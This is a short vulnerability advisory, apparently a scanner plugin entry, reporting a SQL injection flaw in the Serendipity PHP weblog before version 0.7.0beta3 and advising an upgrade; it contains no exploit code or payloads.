Serendipity prior 0.7.0beta3
SQL Injection
The remote host is running Serendipity, a weblog written in PHP. The remote version of this software is vulnerable to a SQL injection issue due to a failure of the application to properly sanitize user-supplied URI input. An attacker may exploit this flaw to issue arbitrary statements in the remote database, and therefore bypass authorization or even overwrite arbitrary files on the remote system.
Upgrade to Serendipity 0.7.0beta3 or newer.
